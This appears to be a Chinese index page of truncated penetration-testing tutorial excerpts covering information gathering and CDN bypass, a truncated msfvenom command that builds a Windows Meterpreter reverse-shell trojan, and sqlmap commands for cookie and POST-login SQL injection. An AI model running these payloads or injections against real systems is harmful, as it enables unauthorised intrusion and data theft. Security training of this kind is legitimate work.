
web渗透之信息收集
1.系统的信息收集 1.1.CDN 什么是CND? 内容分发式服务 CDN的优势? 隐藏源主机ip,降低延迟,提高服务响应速度,增加网络冗余,减小主机服务器压力。 1.2真实ip查询 1判断目标是否使用了CDN 利用在线网站 http://...

1.系统的信息收集 1.1.CDN 什么是CND? 内容分发式服务 CDN的优势? 隐藏源主机ip,降低延迟,提高服务响应速度,增加网络冗余,减小主机服务器压力。 1.2真实ip查询 1判断目标是否使用了CDN 利用在线网站 http://...

方法:

0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpreter/reverse_tcp lhost...

cookie注入:sqlmap.py -u 注入点 –cookie “参数” –tables –level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 -p ...